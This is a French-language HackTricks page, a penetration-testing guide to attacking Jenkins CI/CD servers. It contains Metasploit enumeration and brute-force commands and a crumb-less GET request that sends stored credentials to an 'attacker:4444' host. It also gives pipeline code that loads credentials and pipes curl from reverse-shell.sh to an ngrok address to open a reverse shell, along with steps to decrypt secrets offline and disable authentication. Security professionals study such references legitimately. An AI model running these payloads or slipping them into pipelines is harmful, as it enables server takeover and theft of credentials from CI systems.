Jenkins Sécurité

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Jenkins est un outil qui offre une méthode simple pour établir un environnement de continuous integration ou continuous delivery (CI/CD) pour presque toute combinaison de langages de programmation et de dépôts de code source en utilisant des pipelines. De plus, il automatise diverses tâches de développement routinières. Bien que Jenkins n’élimine pas la nécessité de créer des scripts pour des étapes individuelles, il fournit une manière plus rapide et plus robuste d’intégrer l’ensemble de la séquence d’outils de build, test et déploiement que ce que l’on peut aisément construire manuellement.

Basic Jenkins Information

Énumération non authentifiée

Pour rechercher des pages Jenkins intéressantes sans authentification comme (/people ou /asynchPeople, qui liste les utilisateurs actuels), vous pouvez utiliser :

msf> use auxiliary/scanner/http/jenkins_enum

Vérifiez si vous pouvez exécuter des commandes sans authentification :

msf> use auxiliary/scanner/http/jenkins_command

Without credentials you can look inside /asynchPeople/ path or /securityRealm/user/admin/search/index?q= for usernames.

You may be able to get the Jenkins version from the path /oops or /error

Vulnérabilités connues

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers

Connexion

Dans les informations de base vous pouvez vérifier toutes les façons de vous connecter à Jenkins :

Basic Jenkins Information

Inscription

Vous pourrez trouver des instances Jenkins qui vous permettent de créer un compte et de vous y connecter. Aussi simple que cela.

Connexion SSO

De plus, si des SSO fonctionnalité/plugins sont présents, vous devriez tenter de vous connecter à l’application en utilisant un compte de test (par ex., un compte de test Github/Bitbucket). Astuce tirée de ici.

Bruteforce

Jenkins ne dispose pas de politique de mot de passe ni de username brute-force mitigation. Il est essentiel de brute-force les comptes car des mots de passe faibles ou des usernames as passwords peuvent être utilisés, voire des reversed usernames as passwords.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Utilisez this python script ou this powershell script.

IP Whitelisting Bypass

De nombreuses organisations combinent des solutions SaaS-based source control management (SCM) telles que GitHub ou GitLab avec une solution CI interne et self-hosted comme Jenkins ou TeamCity. Cette configuration permet aux systèmes CI de recevoir des webhook events depuis les SaaS source control vendors, principalement pour déclencher des pipeline jobs.

Pour ce faire, les organisations mettent en liste blanche les plages IP des plateformes SCM, leur permettant d’accéder au système CI interne via des webhooks. Cependant, il est important de noter que n’importe qui peut créer un compte sur GitHub ou GitLab et le configurer pour déclencher un webhook, envoyant potentiellement des requêtes au système CI interne.

Voir: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Abus internes de Jenkins

Dans ces scénarios, nous supposerons que vous disposez d’un compte valide pour accéder à Jenkins.

Warning

Selon le mécanisme d’autorisation configuré dans Jenkins et les permissions de l’utilisateur compromis, vous pourrez ou non effectuer les attaques suivantes.

Pour plus d’informations consultez les informations de base :

Basic Jenkins Information

Lister les utilisateurs

Si vous avez accès à Jenkins, vous pouvez lister les autres utilisateurs enregistrés sur http://127.0.0.1:8080/asynchPeople/

Extraction des builds pour trouver des secrets en clair

Utilisez this script pour extraire les sorties console des builds et les variables d’environnement de build afin de, espérons-le, trouver des secrets en clair.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)

Certains plugins exposent des handlers Jelly validateButton ou test connection sous des chemins comme /descriptorByName/<Class>/testConnection. Quand les handlers n’imposent pas POST ou des vérifications de permissions, vous pouvez :

  • Remplacer POST par GET et supprimer le Crumb pour contourner les contrôles CSRF.
  • Déclencher le handler en tant que low-priv/anonymous si aucune vérification Jenkins.ADMINISTER n’est présente.
  • CSRF un admin et remplacer le paramètre host/URL pour exfiltrer des credentials ou déclencher des appels sortants.
  • Utiliser les erreurs de réponse (p.ex., ConnectException) comme un oracle SSRF/port-scan.

Exemple GET (sans Crumb) transformant un appel de validation en SSRF/credential exfiltration:

GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080

If the plugin reuses stored creds, Jenkins will attempt to authenticate to attacker:4444 and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

Stealing SSH Credentials

Si l’utilisateur compromis dispose de suffisamment de privilèges pour créer/modifier un nouveau Jenkins node et que des SSH credentials sont déjà stockées pour accéder à d’autres nodes, il pourrait steal those credentials en créant/modifiant un node et en configurant un host qui enregistrera les credentials sans vérifier la host key :

Vous trouverez généralement les Jenkins ssh credentials dans un global provider (/credentials/), donc vous pouvez aussi les dumper comme n’importe quel autre secret. More information in the Dumping secrets section.

RCE in Jenkins

Obtenir un shell in the Jenkins server donne à l’attacker l’opportunité de leak tous les secrets et env variables, d’exploit other machines situées sur le même réseau ou même de gather cloud credentials.

Par défaut, Jenkins run as SYSTEM. Donc, le compromettre donnera à l’attacker SYSTEM privileges.

RCE Creating/Modifying a project

Créer/modifier un projet est un moyen d’obtenir RCE sur le Jenkins server :

Jenkins RCE Creating/Modifying Project

RCE Execute Groovy script

Vous pouvez aussi obtenir une RCE en exécutant un Groovy script, ce qui pourrait my plus discret que de créer un nouveau projet :

Jenkins RCE with Groovy Script

RCE Creating/Modifying Pipeline

You can also get RCE by creating/modifying a pipeline:

Jenkins RCE Creating/Modifying Pipeline

Pipeline Exploitation

Pour exploiter des pipelines vous devez toujours avoir accès à Jenkins.

Build Pipelines

Pipelines peuvent aussi être utilisés comme mécanisme de build dans les projets, dans ce cas un fichier dans le repository peut être configuré qui contiendra la syntaxe du pipeline. Par défaut /Jenkinsfile est utilisé :

Il est aussi possible de stocker les fichiers de configuration du pipeline ailleurs (par exemple dans d’autres repositories) dans le but de séparer l’accès au repository et l’accès au pipeline.

Si un attacker a write access over that file il pourra le modifier et potentiellement trigger le pipeline sans même avoir accès à Jenkins.
Il est possible que l’attacker doive bypass some branch protections (selon la plateforme et les privilèges utilisateur elles pourront être bypassed ou non).

Les déclencheurs les plus courants pour exécuter un pipeline personnalisé sont :

  • Pull request to the main branch (or potentially to other branches)
  • Push to the main branch (or potentially to other branches)
  • Update the main branch and wait until it’s executed somehow

Note

Si vous êtes un external user vous ne devriez pas vous attendre à pouvoir créer une PR to the main branch du repo d’other user/organization et trigger the pipeline… mais si c’est bad configured vous pourriez fully compromise companies just by exploiting this.

Pipeline RCE

Dans la section RCE précédente il a déjà été indiqué une technique pour get RCE modifying a pipeline.

Checking Env variables

Il est possible de déclarer des clear text env variables pour l’ensemble du pipeline ou pour des stages spécifiques. Ces env variables ne devraient pas contenir d’informations sensibles, mais un attacker peut toujours check all the pipeline configurations/Jenkinsfiles :

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Exfiltration des secrets

Pour des informations sur la façon dont les secrets sont généralement traités par Jenkins, consultez les informations de base :

Basic Jenkins Information

Les Credentials peuvent être scopés aux providers globaux (/credentials/) ou à des projets spécifiques (/job/<project-name>/configure). Par conséquent, pour exfiltrer tous les credentials, vous devez compromettre au minimum tous les projets qui contiennent des secrets et exécuter des pipelines personnalisés/empoisonnés.

Il y a un autre problème : pour obtenir un secret dans l’environnement d’un pipeline, vous devez connaître le nom et le type du secret. Par exemple, si vous essayez de charger un usernamePassword secret en tant que string secret, vous obtiendrez cette erreur :

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Voici comment charger certains types de secrets courants :

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

À la fin de cette page, vous pouvez trouver tous les types d’identifiants : https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Warning

La meilleure façon de dump all the secrets at once consiste à compromising la machine Jenkins (par exemple en exécutant un reverse shell dans le built-in node) puis à leaking les master keys et les encrypted secrets et à les decrypting offline.
Plus d’informations sur comment faire cela dans la Nodes & Agents section et dans la Post Exploitation section.

Déclencheurs

D’après the docs : la directive triggers définit les manières automatisées dont le Pipeline doit être relancé. Pour les Pipelines intégrés à une source telle que GitHub ou BitBucket, triggers peut ne pas être nécessaire car une intégration basée sur webhooks sera probablement déjà présente. Les triggers actuellement disponibles sont cron, pollSCM et upstream.

Exemple cron:

triggers { cron('H */4 * * 1-5') }

Consultez d’autres exemples dans la documentation.

Nodes & Agents

Une Jenkins instance peut avoir different agents running in different machines. Du point de vue d’un attaquant, l’accès à différentes machines signifie different potential cloud credentials à voler ou different network access qui pourrait être utilisé pour exploiter d’autres machines.

Pour plus d’informations, consultez les informations de base :

Basic Jenkins Information

Vous pouvez énumérer les configured nodes dans /computer/, vous trouverez généralement le Built-In Node (qui est le node exécutant Jenkins) et potentiellement d’autres :

Il est particulièrement intéressant de compromettre le Built-In node car il contient des informations Jenkins sensibles.

Pour indiquer que vous voulez run le pipeline dans le built-in Jenkins node vous pouvez spécifier dans le pipeline la configuration suivante :

pipeline {
agent {label 'built-in'}

Exemple complet

Pipeline dans un agent spécifique, avec un cron trigger, avec des variables d’environnement au niveau pipeline et stage, chargeant 2 variables dans un step et envoyant un reverse shell:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrary File Read to RCE

Jenkins Arbitrary File Read to RCE via “Remember Me”

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Vous pouvez lister les secrets en accédant à /credentials/ si vous avez les permissions suffisantes. Notez que cela ne listera que les secrets contenus dans le fichier credentials.xml, mais build configuration files peuvent aussi contenir more credentials.

Si vous pouvez voir la configuration de chaque projet, vous pouvez également y voir les names of the credentials (secrets) utilisées pour accéder au repository et other credentials of the project.

From Groovy

Jenkins Dumping Secrets from Groovy

From disk

Ces fichiers sont nécessaires pour décrypt(er) Jenkins secrets :

  • secrets/master.key
  • secrets/hudson.util.Secret

De tels secrets peuvent généralement être trouvés dans :

  • credentials.xml
  • jobs/…/build.xml
  • jobs/…/config.xml

Voici une regex pour les trouver :

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Decrypt Jenkins secrets offline

Si vous avez extrait les needed passwords to decrypt the secrets, utilisez this script to decrypt those secrets.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Déchiffrer les secrets Jenkins depuis Groovy

println(hudson.util.Secret.decrypt("{...}"))

Créer un nouvel utilisateur administrateur

  1. Accédez au fichier config.xml de Jenkins dans /var/lib/jenkins/config.xml ou C:\Program Files (x86)\Jenkis\
  2. Recherchez le mot <useSecurity>true</useSecurity> et remplacez le mot **true ** par false.
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Redémarrez le serveur Jenkins : service jenkins restart
  5. Revenez sur le portail Jenkins et Jenkins ne demandera aucun identifiant cette fois-ci. Naviguez vers “Gérer Jenkins” pour définir de nouveau le mot de passe administrateur.
  6. Activez de nouveau la sécurité en remettant <useSecurity>true</useSecurity> et redémarrez Jenkins.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks